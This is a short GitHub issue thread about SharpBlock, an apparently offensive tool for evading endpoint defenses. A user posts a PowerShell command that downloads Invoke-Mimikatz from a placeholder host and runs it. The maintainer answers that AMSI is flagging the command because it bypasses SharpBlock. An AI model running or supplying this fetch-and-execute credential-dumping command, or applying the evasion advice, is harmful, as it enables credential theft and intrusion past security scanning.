Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Access Denied running with -a #3

Closed
aleemladha opened this issue Jul 14, 2020 · 1 comment
Closed

Access Denied running with -a #3

aleemladha opened this issue Jul 14, 2020 · 1 comment

Comments

@aleemladha
Copy link

Hi when i run the program with -a i get access denied, it works find if i run the programs separately.

SharpBlock.exe -e c:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command coffee;"

image

Running the powershell then calling the mimikatz works fine.

image

image

@CCob
Copy link
Owner

CCob commented Jul 14, 2020

Your initial powershell is not running through SharpBlock, so AMSI is picking up on the Invoke-Mimikatz or the URL that you are passing on the command line.

@CCob CCob closed this as completed Jul 15, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants